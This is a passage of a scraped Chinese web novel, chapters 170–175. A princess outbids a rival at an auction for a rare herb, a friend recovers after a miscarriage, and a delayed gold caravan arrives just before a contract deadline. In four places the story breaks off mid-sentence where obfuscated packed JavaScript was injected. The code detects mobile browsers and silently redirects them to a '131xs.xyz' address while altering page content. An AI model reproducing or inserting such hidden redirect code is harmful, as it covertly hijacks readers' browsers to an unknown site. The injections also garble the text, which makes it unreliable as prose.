“她偶尔会醒来,但更多的时候在昏迷,宋院正,内人到底是得了什么病?” 宋鹤柳刚刚诊完脉,听闻连文青问话,便仔细说了连夫人的病情。 “连夫人所得的是一种极为罕见的病症,这种病症还是本官的师父早年间见过,师父将此病症定名为嗜睡症。 得了这种病的病人常年嗜睡,若是身边人照顾不周,病人便会在长久的睡眠中死去。 如今连夫人的身体保养的十分好,看来连阁主平时在连夫人身上花了很多心思。” 连文青急着问:“可有救治之法?” 宋鹤柳点头:“有倒是有,只是这种病的用药十分苛刻,其中一味药引至今没在世面上出现过。” 自从妻子生病以后,连文青找遍了名医,可是每个大夫都是摇头,说治不好。 如今宋鹤柳说药引难得,却没说治不好。 这个消息对连文青而言简直是天大的好消息! “在下不缺钱财,也不缺人力,只要宋院正告知那味药的名字,在下一定能将此药寻回来!” 宋鹤柳便说出了这味药的名字:“此药名叫天星草。” 乔楹月站在一旁,默默将这个药名在心中默念,暗道:这味药还真从未听说过。 连文青自信的说道:“这味药便交给在下了!” 然而一整日过去了,连文青别说药草的下落,连这味药是什么模样都没打听到。 若非他知道宋鹤柳的名号,甚至怀疑宋鹤柳自己编造了药草的名字来诓骗他。 不过连文青不愿放弃,继续派人寻找。 与此同时,乔楹月也在寻找。 只有连夫人早日醒来,如画才能早日赎身,广阔才能早日去凉县。 金料的送货期限快到了,她不能再等了。 然而乔楹月派出去的人也没能打探到天星草的下落。 便在她为此着急时,沈砚带着一个好消息上门来。 “千珍阁中来了一样拍品,是一株百年的天星草,拍卖时间在明日中午,公主可有想法?” 沈砚不仅知道天星草,还知道拍卖时间,铁定是时刻掌握着她的动向。 乔楹月有些不高兴,也有些高兴,总之很矛盾。 但比起自相矛盾,她更加迫切于得到这株草。 “这株草本宫要了!” “坏消息是,这次拍卖会的请柬已经没有了。” “什么?还要请柬?” 乔楹月没去过拍卖会,就连知道这种东西还是因为佟旺。 这会儿知道自己没有请柬进不去,她有些着急,下意识抓住了沈砚的衣袖。 “沈大人得帮本宫!” 她有些霸道。 但沈砚半点不生气,反而享受被她需要的感觉。 “公主别着急,微臣这里有两张。” 乔楹月惊喜,探头过去在他脸上亲了一口,“沈砚,你真好!” 沈砚用手指碰了碰他自己的嘴唇,“这里呢?” 亲了脸不够,还想让她亲嘴。 贪心的男人! 乔楹月哼了一声,用力亲在他嘴唇上,正要撤回身子,却被他按住了后脑勺。 男人反守为攻,起初吻势霸道,后面逐渐温柔。 乔楹月不怕他霸道,而他的温柔她真的会招架不住。 不一会儿便浑身发软,任由他摆布。 还好沈砚有分寸,并未做出过分的举动。 乔楹月红着脸推开他,气呼呼道:“沈大人可真会占便宜!” 沈砚却说:“微臣想占一辈子。” 乔楹月忽然哑声。 沈砚笑了一声,没再继续这个话题。 次日中午,沈砚先来到公主府,然后让乔楹月同他乘坐一辆马车,前往千珍阁。 千珍阁竟然不在城内,而是位于城郊的偏僻之处。 乔楹月活了两辈子,还是第一次知道千珍阁这个地方。 当她走进荒僻的茶楼,却看见华丽的内室,惊讶的‘啧’了一声。 “简直是别有洞天呢。” 沈砚伸手来牵她,干燥的手掌紧握着乔楹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16451097|182916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月小小的手,同她一起走上台阶,上了二楼。 二楼之上是极大的敞轩,四面开窗,光线明亮,里头摆放了一些桌椅,这会儿已经有许多人落座。 右侧摆着一架古筝,一个容貌柔美的女子正在抚弄着,筝声潺潺,让人心情宁静。 乔楹月和沈砚刚进来,便有侍者恭敬的询问二人的身份,随后带着他们来到第一排入座。 桌上摆放着上等的茶点,青花瓷的花瓶之中插着名贵的花。 乔楹月对这儿的一切都很好奇,捏了一块糕点吃,味道非常不错。 沈砚瞧着她这幅样子眉眼中满是笑意,将一个精致的牌子递给她。 “等会儿看上哪样物件,便举这个牌子。” 这个乔楹月倒是知道,这个牌子举起来就要花银子,若是你举完了别人举,就是比你出更高的价钱。 不过这个牌子举一个多少银子,她并不清楚。 她压低声音问,“这个牌子举一次多少银子?” 沈砚道:“每样物品不等,具体的数目主槌人会在物品正是拍卖之前说明。” “若是本宫举太多次,买不起怎么办?” “微臣有银子。” 乔楹月很好奇,笑着问,“沈大人到底有多少银子?” 沈砚看着小姑娘如花的笑颜,声音柔得不行,“很多,够公主挥霍。” 乔楹月暗忖:口气这么大,看来这厮的家底极其丰厚,便是今日拍的不够银子付,也还有他可以借。 乔楹月把玩着牌子,打量前方。 那里有一个不太高的台子,上头放着圆形小桌,桌边站着个中年男人,此人五官端正,笑眉笑眼的,看着十分面善。 桌上放着一个小巧的金槌。 乔楹月思忖:此人应当便是沈砚口中的主槌人。 一会儿的功夫,这敞轩的桌椅便被坐满。 此刻这最后的一排,坐着个熟人,此人的目光穿过层层宾客,落在了乔楹月的背影上,眸色晦涩不明。 “欢迎各位贵客光临千珍阁!我们此次的拍卖正式开始!” 随着主槌人的一生槌响,第一件拍品被端了上来。 第一百七十一章恶意竞价 是一件珍贵的古董,乔楹月没什么兴趣,她只想要天星草。 这些拍品被人陆续拍走,直到第八件牌品上来,乔楹月才打起了精神。 “这一件拍品乃是起死回生的灵药!此药名叫天星草,极其珍贵,各位眼前这一株已有百年,更是贵中之重! 现在开拍天星草,起拍价是五千两,五百两加价一次!” 这主槌人的话音刚落下,沈砚便在乔楹月耳边解释:“举牌一次便是五百两。” 这一点乔楹月自己也听明白了,她只是不明白自己何时可以举牌。 沈砚道:“现在便可以举了。” 乔楹月赶紧将牌子举起来。 “一号加价一次!现在天星草的价格是五千五百两!” 天星草很珍贵,但极少有人知道它的使用价值,便也没人想要拍下它。 乔楹月举牌以后其他人都没有要竞价的意思。 主槌人开始倒数:“一号五千五百两一次!一号五千五百两两次,一号五千五百两……” 最后一排忽然举起牌子。 主槌人面色一喜,大声说道:“九号举牌一次!” 而九号的牌子却并未放下。 “九号举牌两次!” “九号举牌三次!” “九号举牌四次!” 这会儿那牌子才放下。 也就是说,九号一次加了两千两。 “九号以七千五百两的价格竞拍天星草,各位可还有更高的价格?若是没有,这株天星草便……哎呦!一号举牌一次!一号举牌两次!一号举牌……十次!” 乔楹月缓缓放下牌子。 主槌**声公告:“一号一次加价五千两!现在天星草的价格竟到了一万二千五百两!在场的各位,可还有竞价的?” 一株草而已,竟然被竟到了一万多两,在场的宾客都觉得一号疯了。 “为了一株草花一万多两,这一号是谁啊。” “傻子,那是怀宁公主,你可知道怀宁公主身边的公子是谁?” “这我哪儿知道。” “是沈砚!据说怀宁公主得到一种可以控制人心的蛊毒,她将蛊毒喂给沈砚吃了,现在沈砚对她言听计从,沈砚是什么身家?别说一万二千两的草,便是一只蚂蚁,他也能帮公主搬一个蚂蚁窝回去!” “简直疯了!什么破草,我才不要!” “你们不要,我也不要!” …… 议论之声不绝于耳,可那竞价的牌子却无人举起来。 主槌人心中已是十分满足,这天星草本就名不见经传,老板对此根本没兴趣,是昨日老板不知道得了什么消息,忽然到处找天星草。 这么一株草,光是进价就花了一万两,老板却要五千两竞拍,根本没人会拍,最后铁定亏本。 可眼下价格拍到了一万二千五百两,虽然只赚两千五百两,可比起最开始的预期,主槌人觉得已经赚翻了! “一号一万二千五百两竞拍天星草,一万二千五百两一次!一万二千五百两两次,一万二千五百两三……” 就在主槌人的槌子要敲下去时,九号再次举牌。 主槌人眼睛一亮,激动的公告:“九号举牌……九号这是!立牌了!” 千珍阁中的竞拍靠举牌竞价,而举牌不落便是不停加价,当牌子直接立起来,便是无论别人如何加价,此人都要竞价到底! 也就是说,现在天星草的价格竟到了一万三千两,无论谁再竞价,九号都往上加五百两。 这种手法不仅是财力的展示,更是一种竞争手段,可以击溃竞价者的心理防线。 主槌**声公告:“九号一万三千两一次,九号一万三千两两次,九号……” “本宫加价一万两!” 主槌人瞪大眼睛,结巴道:“这么一株草……灵草!此刻竟价至两万三千两!九号?九号依旧立牌!眼下竟价两万三千五百两!” 乔楹月忽然来了火气。 到底是谁跟她抢天星草? 大周没人知道天星草的作用,正常人不会拍它,此人跟苍蝇一样缠着她不放,分明是故意为难! 乔楹月回头看向九号,立刻看到一张熟悉的脸,对方发现她的目光以后,眼底浮现笑意,随后朝着她遥遥一礼。 权晏舟,又是他。 他本就在算计她的生意,这会儿肯定会不断竞价,耗光她手中的银子。 “别怕,用这个。” 沈砚忽然将一个黄金的牌子递过来,并在她耳边解释。 “这是加码牌,一次加码十 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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第一百七十二章以牙还牙 在牌子撤下的一刻,权晏舟恨不得找个地洞钻进去,现在他只希望这场闹剧尽快结束。 可那主槌人却不放过他,洪亮的声音响彻整个敞轩。 “九号撤牌了!九号撤牌了!!!” 权晏舟咬牙,撤牌就撤牌,拍卖行撤牌的人多了去了,用得着这么大惊小怪吗! 在权晏舟撤牌以后,再无人加价,最终天星草以两万八千五百两的价格,送到了乔楹月的面前。 乔楹月有些心疼,也有些庆幸。 心疼的是,本可以五千五百两就竟下来的天星草,多花了无数倍。 庆幸的是,还以为价格会被权晏舟竟到无限高,没想到他的胆儿也小,立上加码牌就将他吓退了。 早知道他胆子这么小,她早就立上加码牌了。 沈砚偏头,瞧见小姑娘摸着天星草的盒子,脸上掩饰不住的兴奋。 他笑着问:“好玩吗?” “好玩!” 小姑娘的眼睛亮晶晶的,像天上一闪一闪的繁星。 沈砚挑眉问道:“还想玩吗?” “想,”乔楹月老实点头,不过随即又有些担心:“只剩下最后一件拍品,听说是千年人参,估计很贵。” 沈砚神秘道:“不用花钱。” 乔楹月好奇:“还有这好事?” 沈砚脸上浮现坏笑。 “权晏舟明显有备而来,天星草定然不是他的目标,而前面的七件拍品他都没有动静,所以,他的目标是千年人参。” “沈大人的意思是……恶心回去???” “微臣正是这个意思。” “沈大人好坏啊!” “可公主笑的也很开心呢。” 乔楹月用袖子掩着嘴,笑得花枝乱颤。 权晏舟看着最前方那对背影,脑袋靠在一起不知道说了什么,那道娇俏的身影便笑个不停。 男未婚女未嫁,大庭广众光天化日,简直有伤风化! “公子别哼了,老爷要的千年人参上来了!” 听得招财提醒,权晏舟立刻打起精神。 千年人参的起拍价便是三千两银子,竞拍价不限。 此物是此次拍卖的压轴品,刚落槌便引得所有人竞价。 最终权晏舟以两万八千两赢得上风,无人再继续竞价。 主槌**声公告:“九号两万八千两一次!九号两万八千两两次!九号两万八千两三……” “本宫加一两。” 软糯的声音声音徐徐响起,打断了主槌人的公告,也打断了众宾客的激荡心情。 “加多少?一两???谁他妈竞价加一两,这不是纯粹捣蛋嘛!” “这件拍品没有竞价要求,人家没有犯规。” “我看啊,这怀宁公主是记仇了,刚才那九号可是没少在她的拍品上捣乱。” “啧,也是活该。” …… 议论纷纷之中,权晏舟的脸色却很复杂。 乔楹月故意跟他竞价,他很生气,可是,乔楹月竟只跟他竞价,他受宠若惊! 他们的身份悬殊,除了生意便不会再有任何交集。 可现在,乔楹月单独与他竞价。 叫他如何能不激动! “公子,您怎么好像要哭了?这人参是老爷点名要的,您可别弄丢啊!” 眼见一号竞价一两以后自家公子竟然被气哭了,招财很着急,赶紧提醒自家公子竞价。 权晏舟举起牌子,大声道:“五千两!” 果不其然,纤细白皙的手臂举起,软糯的声音徐徐响起。 “一两。” 权晏舟心情复杂的举牌:“五千两!” 少女继续举牌:“一两。” 接下来便是权晏舟举一下,乔楹月便举一下,这偌大的敞轩好像只剩下了他们两人。 这会儿权晏舟根本瞧不见一号牌,只能看见举牌的小手格外小巧细嫩。 “公子!这棵人参已经加到八万两,若是一号继续加,我们就完了!” 权晏舟这才听见主槌人的公告,心情有些低落,也有些自卑。 若他有沈砚的财力,便能毫无负担的和乔楹月玩这种你追我赶的游戏。 父亲只给了八万两,若乔楹月再往上加,他只能放弃。 然而那只举了许久的小手忽然放了下去。 主槌人当即公告:“九号 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16451099|182916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以八万两竞拍九号拍品!可还有人要加价?” 八万两的千年人参早就超出了正常的价格,傻子才继续往上加。 无人作答。 主槌人道:“九号八万两一次!九号八万两两次!九号八万两三次!!!九号以八万两,竟得九号拍品!” 最终,千年人参送到了权晏舟的手中,他端着这盒子,心情很奇妙,抬眼看向乔楹月,发现她已经和沈砚并肩离开,目光自始至终未曾看他一眼。 回城以后,乔楹月将天星草给宋鹤柳递过去。 宋鹤柳将天星草做成药丸,送去交给连文青,叮嘱他一次一粒,一日三次,两日便能醒来。 果然,两日后,如画走出了梦影阁。 广阔紧紧抱住她。 广阔带着如画前来公主府,向乔楹月道谢,乔楹月终于见到了令无数男人爱慕的如画。 并非她想象的妖娆妩媚,反而有些平凡,五官并不出挑,只是气质羸弱,眉眼间带着阅尽千帆的豁达,一举一动透着远超年纪的真诚。 乔楹月不明白男人为何为她着迷,但她明白,如画应该是个极好的人。 正在广阔带着如画离开时,沈砚前来,两人在庭院相遇,广阔忽然站住脚步,朝着沈砚深深一拜。 “若非沈大人寻到在下,在下便……” 沈砚忽然将他打断:“如画姑娘看起来有些疲累了。” 广阔一怔,随即脸色大变,赶紧带着如画离开。 沈砚一转身,和乔楹月的目光对个正着,小姑娘的眼睛锐利如刀,明显看透了一切。 他摸摸鼻子,忽然感叹:“今日的天气很好。” 乔楹月淡淡道:“太阳都没了,马上就要下雨,好什么。” 沈砚面露尴尬,低声道:“微臣并非有意欺骗,公主莫要生气。” 乔楹月盯着他看了许久,缓缓低下头,声音有些哽咽:“本宫……是不是又无能又虚伪?又当又立,让人讨厌?” 沈砚一怔,豁然明白乔楹月在难过什么。 她极度的没有安全感,因此不敢依赖他人,而现在她得到的东西确实依赖了外界,这种感觉让她沮丧,甚至陷入了自我厌弃。 第一百七十三章他一直在 “不能这么算。” “什么?” 见沈砚表情认真,乔楹月不太明白他的意思。 沈砚上前牵住她的手,带着她回到小厅,与她一同坐下来,才缓缓解释。 “微臣有整个族人托举,才走到了如今的地位,而公主没有。 这世上女子和男子天生得到的便不同,男子无需费劲便能得到一切,而女子却要花费无数的力气,才能得到男人一开始便有的。 因此,微臣和公主的起点不一样。 如今微臣能做到的事儿,并非公主做不到,只是微臣得到的外力更多而已。 若真要从公平的角度来看,能力更强的应该是公主。 在这个男尊女卑的时代,公主能凭着自己杀出重围,比微臣要厉害得多,微臣很佩服公主。” 沈砚的目光很认真,像是一个饱读诗书的夫子,告诉自己那陷入迷茫的学子人生的道理。 这些道理不像无力的安慰会让人陷入更大的无措,而是让人找到了方向,解开了心底的执拗。 乔楹月盯着沈砚,忽然要求:“抱我。” 沈砚耐心的站起来,走到她的面前,弯腰将她的头摁在了自己的怀里。 她贴着男人的胸膛,听得到鼓噪的心跳,能感受到温暖的温度,鼻子狠狠发酸。 眼泪还是掉了下来。 沈砚低头看着怀里安安静静的小姑娘,胸膛的湿意让他心疼,他抬手轻轻抚摸小姑娘的头发,无声的告诉她,他一直在。 也会一直在。 待到泪意平息,乔楹月推开了沈砚,看向他的衣襟,湖蓝色的衣襟明显深了一块。 沈砚伸手摸了摸,笑着说道:“天太热,微臣出汗了。” 不是她流眼泪了。 是他出汗了。 蹩脚的借口,稳稳保护了她的自尊心。 乔楹月又想哭,这个男人,为什么要这么好。 重生时她发过誓,不会再为任何男人付出感情。 可现在,她好像要沦陷了。 当天。 在乔楹月的安排下,广阔和如画即日启程前往凉县。 至此,距离金料的交货期限不到一个月。 乔楹月估摸了时间,并不着急,时间还来得及。 就在次日的清晨,传来一个坏消息。 乔楹月先派人去皇宫,然后乘坐马车来到楚府,她刚下车,宋鹤柳的马车也停在了容府,他背着药箱快步走过来。 下人见到他们立刻禀报楚怀。 不一会儿,楚怀匆匆赶来,朝她行礼:“微臣拜见公主!” “明月如何?” 今早楚府忽然传来消息,说容明月流产了,情况危急,而太医院的太医束手无策,唯一能治的宋鹤柳进了永寿宫,一直不出来。 楚怀的父亲是工部尚书,官职不算低,可却没有那个胆气去赵皇太后宫里要人。 敢去赵皇太后宫里要人的,除了皇帝便是乔楹月。 楚怀立刻给乔楹月递消息。 这会儿看见乔楹月和宋鹤柳一起来了,楚怀感动的红了眼眶,赶紧将人往屋里请。 乔楹月跟着来到内室,终于看见了容明月,她躺在榻上,脸色很苍白,眼睛很红,眼下一片乌青。 明显是身子虚弱,昨夜还没好好休息,估计是哭了一整夜。 她要起来行礼,被乔楹月按了回去。 “别动。” 容明月躺回去,眼圈儿又红了,脸上还露出了委屈。 “劳烦公主了。” 乔楹月柔声道:“客气什么,等你身子养好请本宫吃顿好的。” 没等容明月说话,楚怀激动的表态:“等明月身子好起来以后,微臣包下雪月阁宴请公主!” 乔楹月却脸色不太好,没搭理他。 楚怀摸了摸鼻子,这会儿宋鹤柳诊完脉,他立刻询问:“我家夫人身子是什么情况?” 宋鹤柳的脸色还算轻松:“流产导致轻微血崩,不过不严重,楚大人莫要紧张,在下开些药,只要楚夫人按时吃药,要不了两日便能好起来。” “太好了!多谢宋院正!” 楚怀感激的不行,拿出银子塞给宋鹤柳,被宋鹤柳婉拒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16451100|182916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,楚怀便也作罢。 宋鹤柳转身对乔楹月说道:“得到公主的消息以后微臣抛下皇太后就走了,皇太后似乎将这恨记在了公主身上,微臣担心公主安危。” “要什么紧,即便没有这一遭,她也一样恨本宫,”乔楹月一脸无所谓,“倒是你,小心些,她心眼小。” 宋鹤柳的脸上露出暖色,柔声道:“微臣明白,太医院还有事儿,微臣便告辞了。” 楚怀亲自送宋鹤柳离开。 这会儿屋里只剩下了乔楹月和容明月,她上前坐在床沿,低声问道:“怎么会流产了?楚怀没将你照顾好吗?” 容明月赶紧帮楚怀解释:“我不知道我怀孕了,走路不小心摔跤,看见有血才知道出了事儿。” 乔楹月瞧着她憔悴的脸色,难免怜悯:“女人要保养好自己,小产伤身体,而且本宫听说,第一个孩子若是小产,往后便会极易小产。” 说完觉得自己这话太过危言耸听,容明月刚遭受小产,心中本就难受,这话估计更让她难过。 “宋院正的药你一定要喝完,别嫌苦,他肯定能将你调养好。” 容明月乖乖点头,脸色比起她刚进来时好了许多。 乔楹月又坐了一会儿便离开了。 下午,姬南萱忽然前来,说起了容明月小产的事儿。 两人就此事聊了一会儿,姬南萱便话锋一转,“我和尚曀好久没见了。” 乔楹月知道她想干嘛,笑了一下后点头道:“本宫陪你。” 姬南萱抿着嘴笑,“这会儿他快散值,我们去大理寺等他,到时候公主不用下车。” 乔楹月都允她。 随后乔楹月便随着姬南萱去大理寺。 姬南萱算的很准,公主府的马车刚在大理寺对面的巷子停下,便有许多人从大理寺出来。 尚曀年轻英俊,在这些人中格外显眼。 姬南萱高兴的跳下马车,朝着尚曀走去。 然而却有一个女子先她一步走向了尚曀,而尚曀像是**以为常一般,迎着这女子走去,连和女子擦肩而过的姬南萱他都没看见。 第一百七十四章商队到了 姬南萱看向站在尚曀面前的女子,竟是权迟眉,她正熟稔的和尚曀说话,而尚曀看着她时眼中仿佛只有她。 这一幕刺痛了姬南萱的心,她忽然出声:“尚曀!” 正在交谈的两人同时噤声,一个回头,一个抬头,齐齐看向她。 看清她后,权迟眉面露惊讶,尚曀则是毫不迟疑的惊喜,两人同时抬脚朝她走来。 权迟眉亲昵的拉住姬南萱的衣袖,说道:“我的朋友有官司缠身,尚大人帮忙赢了这官司,我今日是特意来道谢的。” 尚曀笑道:“小事一桩,权小姐不必客气。” 姬南萱一怔,原来是有官司,刚才她还以为……她太敏感了,还好没有说出什么不好的话来。 “既然姬小姐来了,那我就不打扰了,告辞!” 权迟眉笑着转身离去。 尚曀温柔的看着姬南萱,问道:“怎么想起来找我了?” 看着少年眼底的温柔,姬南萱心底最后的怀疑也消散了。 尚曀不可能和权迟眉发生什么的,绝对不可能。 乔楹月坐在马车之中,从掀开的车帘看见了外头发生的一切,心情却没有姬南萱那么乐观。 尚曀和权迟眉之间或许明显的暧昧,可他在对面权迟眉时是轻松自在的,而面对姬南萱时明显紧绷着。 所以,尚曀应该更喜欢和权迟眉相处。 乔楹月轻轻叹了一声,自语道:“希望事情不要发展成最不想看到的样子……” 在金料期限还剩两天时,乔楹月收到了好消息,押送金料的商队当日便能进城! 这个时间比她预想的还提前了一天。 等这第一批金料送到,她紧绷的心便能好好放松放松了。 然而,这一天一直到天色黑下来,押送金料的商队都没看见影子。 这一夜乔楹月一直让林酒去城外探消息,可是每次带回来,都是让她失望的结果。 没有看见商队的影子。 天亮时,金料的最后一日期限到了。 乔楹月刚用完早膳,红豆便脸色难看的进来禀报。 “公主,府门口来了许多人,说是和公主定下了金料的契书,大家没看见金料,全都堵在门口讨要。” 红豆回来乔楹月身边当值不到三天,就发生了这样的事儿,她很自责,觉得自己是个克星,克了公主。 “公主,现在该怎么办啊?” 见红豆急得六神无主,乔楹月就更不能急了,她淡定的吩咐道:“你去跟这些人说,到货时限是今夜子时,时间还没到。” 红豆应是,立刻出去将这番话转述。 这些客商却没有要离开的意思,反而在大门口就地而坐,一副要就此等到今夜子时。 乔楹月没再理睬这些人,换了身衣裳出门,刚打门口,便和上门的权晏舟撞了个面对面。 权晏舟的目光先是在她脸上停了一会儿,然后才快步上前来行礼。 “在下拜见公主!” 乔楹月撇他一眼,淡淡道:“权公子是来看戏了?” 权晏舟的表情有些委屈:“公主误会了,在下得知公主的金料没有在约定的时间赶到,于是立刻清点了权家的金料存货,在下的金料存货刚好足够,只要公主开金口,在下非常愿意帮助公主度过这个难关。” 说什么开金口,无非是让她说软话求他。 权晏舟要她在他面前低下头颅。 可乔楹月偏偏不如他意。 “权公子的好心本宫心领了,本宫的商队一定会回来。” 可谁都知道,商队不会无缘无故失信,中途一定遇到了事儿,或许商队真能平安无事的赶回来,可绝对不可能在今日赶回来。 只要今日不回来,乔楹月便要赔个倾家荡产。 权晏舟觉得乔楹月的性子太犟了,他只是让她低个头,便无条件帮她,又不是要她给出金山银山,她有些不识好歹了。 既然她非要犟,那就让她犟个够。 眼下时辰还早,她肯定不甘心,等到天黑下来,她就会看清现实。 权晏舟微微一笑:“现在是在下来寻公主,等会儿可就是公主来寻在下了,公主确定吗?” 眼下他给了台阶,若她不下,等会儿便要觍着脸上门求她,划不来。 乔楹月明白权晏舟言语中的威胁,却没有半分低头,她的头颅依旧高贵的扬着:“权公子多虑了。” 丢下这句话,她转身就走。 那些客商有些着急,赶紧围着权晏舟问。 “权公子,我们的定金不会打水漂吧?” “权公子,我们可是相信你,才会和怀宁公主签下契书,你不能见死不救!” …… 面对客商的询问,权晏舟认真负责的回道:“各位放心,权家的金料已经准备好,天黑之前公主这边若没有着落,你们直接带着契书去我权家。” 这些客商的心立刻落回了肚子里。 其中一个客商不禁问权晏舟。 “权公子这么帮着怀宁公主,可怀宁公主根本不领情,权公子甘心吗?” 权晏舟没回答,却在心中说:甘心啊,即便她不领情,也会知道,在商场,他永远比她强。 乔楹月来到了金福来,让终斩玉清点店铺之中的金料存货,随后又去大发金行让李方清点金料存货。 然而这所有的金料存货加起来都不够出一家客商的货。 乔楹月思考片刻,吩咐红豆。 “你去找沈大人,问他可有金料存货。” 沈砚也有金铺,说不定有一些存货。 然而红豆回来却说:“奴婢去了南城,还去了丞相府,均未见到沈大人。” 乔楹月蹙眉,沈砚去哪儿了? 时间过的很快,一晃天便黑了。 乔楹月回到公主府时,那些守在门口的客商一看见她便围了过来。 “公主,时间剩不了两个时辰了,您若是没有金料便先向权公子挪一些!” “是啊公主,面子不能当饭吃的。” …… 乔楹月走上台阶,看见权晏舟还站在门前,看见她后他的脸上露出得意的笑意。 这份笑意,让乔楹月无比厌恶。 他站起来,一脸成者为王的表情开口:“公主,让在下帮您吧。” 有句话说得对,面子不能当饭吃,解决问题最重要。 乔楹月深深吸了一口气,正要说话,远处忽然传来震动的马蹄声,一道人声穿透夜晚的寂静,来到了她的面前。 “公主!商队到了!” 第一百七十五章沈砚去向 乔楹月抬眼看去,便见一列商队快速朝着自己奔来,领头的正是何掌柜。 何掌柜从马上跳下来,快步走过来行礼。 “属下拜见公主!” 乔楹月看见何掌柜的衣裳破烂不堪,头发一片凌乱,她将人扶起来,看见他的脸上还有伤口,鲜血凝结成往下淌的痕迹。 可想而知,在商队不知所踪的时间里,何掌柜肯定经历了不为人知的曲折,甚至连受伤了擦血的时间都没有。 为了赶在契书的期限之前赶到盛京,何掌柜是拼了一条老命。 “何掌柜,你辛苦了!” 何掌柜看见乔楹月眼中有泪,心情也是诸多感触,连连摆手说道:“属下不辛苦,商队在途中迷路,让公主受惊了!” 乔楹月看向那些客商,扬声道:“商队已到,本宫并未逾期!既然大家都在,便也无需本宫亲自送上门去,各位便在此处将金料分了,自己运回库房去。” 客商们高兴的欢呼。 这些人都是正经的生意人,都是奔着好好做生意去的,没人愿意发生曲折。 既然货到了,他们自然不愿再闹,纷纷派人叫来自己的商队,准备领取自己的金料。 这一片喜气洋洋之中,唯有权晏舟脸色不好看。 他的人一直打探乔楹月的商队路程,眼看商队要提前一天到达,他很是失望。 可是就在昨日,他的人禀报,有土匪袭击了乔楹月的商队,并且那些土匪似乎不简单,不仅商队全军覆没,金料也会丢失。 届时乔楹月便会一无所有。 这简直是老天给他机会。 可现在,商队竟然回来了。 这不正常。 其中肯定有问题! “这会儿天黑,大家可要小心,金料一旦离手,便要自己负责了!” 权晏舟的一句话让那些客商纷纷凝重起来,于是大家纷纷大气灯笼,当着乔楹月的面验货。 这一番验下来,客商们的表情纷纷变色,忍不住惊呼。 “这些金料的纯度极高!比权家的金料纯度还要高!” “这样纯度的金料价格却和普通金料一样,我们都捡到便宜了!” “以后只要是公主的金矿出的金料,在下全都要!” “你想得美,你全要了我们拿什么要?” “就是,做人不能太贪心,公主的金料理应由大家来分!” …… 乔楹月笑盈盈的向大家保证:“各位放心,本宫的金料优先给你们。” 客商们闻言高兴不已。 反之,权晏舟被冷落在一旁,根本没人在意他。 他咬了咬牙,却没说出半句话来,默默的转身,灰头土脸的走了。 乔楹月冷冷看着权晏舟的背影,哼了一声。 客商们分完金料离开,已是深夜。 乔楹月让何掌柜快些回去歇息,又派林酒去开了最好的客栈,让商队的弟兄们好好休息。 做好这些以后,乔楹月已是疲累至极,不过她却没有去休息,而是问红豆。 “沈匆今日为何没来接你回家?” 自从红豆重新回来当值以后,乔楹月便让她每日天黑就回家,早晨再来伺候。 于是每到傍晚,沈匆便会到公主府来接她回家。 可是今日已经深夜,却并未瞧见沈匆的身影。 红豆也是一脸纳闷:“奴婢心里也嘀咕呢,兴许是太忙给忘了。” 乔楹月眸色微闪,将何掌柜叫过来问:“路上到底发生了什么?” 何掌柜低着头回答:“回禀公主,商队遇到了土匪,还好这些土匪武功不高。” 乔楹月盯着他看了一会儿,忽然吩咐红豆:“让老洪套马车。” 红豆不解的问:“眼下已是半夜,公主这是要去哪儿?” 乔楹月沉沉道:“见沈大人。” 红豆不理解,便是要见沈大人也应该是白天才对,怎么这么晚去见呢? 难道是金料顺利出货,公主心情太好,想要立刻和沈大人分享这份喜悦? 老洪套好马车以后却被乔楹月吩咐:“太晚了,你回去休息。” 老洪很感动,公主人太好了! 乔楹月对林酒道:“你来赶车。” 林酒应是。 乔楹月又对红豆道:“你早些歇息,林酒跟着便是。” 红豆想跟着,但是她敏锐的看出公主的神色有些不对,具体哪儿不对她想不明白,却知道这种时刻自己只需要乖乖听从吩咐便可。 于是红豆没再多问,乖巧的应下。 乔楹月坐进马车,林酒熟练的赶着马车,不一会儿,马车停在了沈砚的私宅前。 林酒下车去敲门,尤叔开了门,瞧见门外的乔楹月,当即恭敬行礼。 “小人拜见公主!” “免礼。本宫要见你家大人。” 尤叔一脸无奈的道:“大人昨日便出门了,小人不知大人的去向。” “原来如此,”乔楹月点点头,转身,“打扰了。” 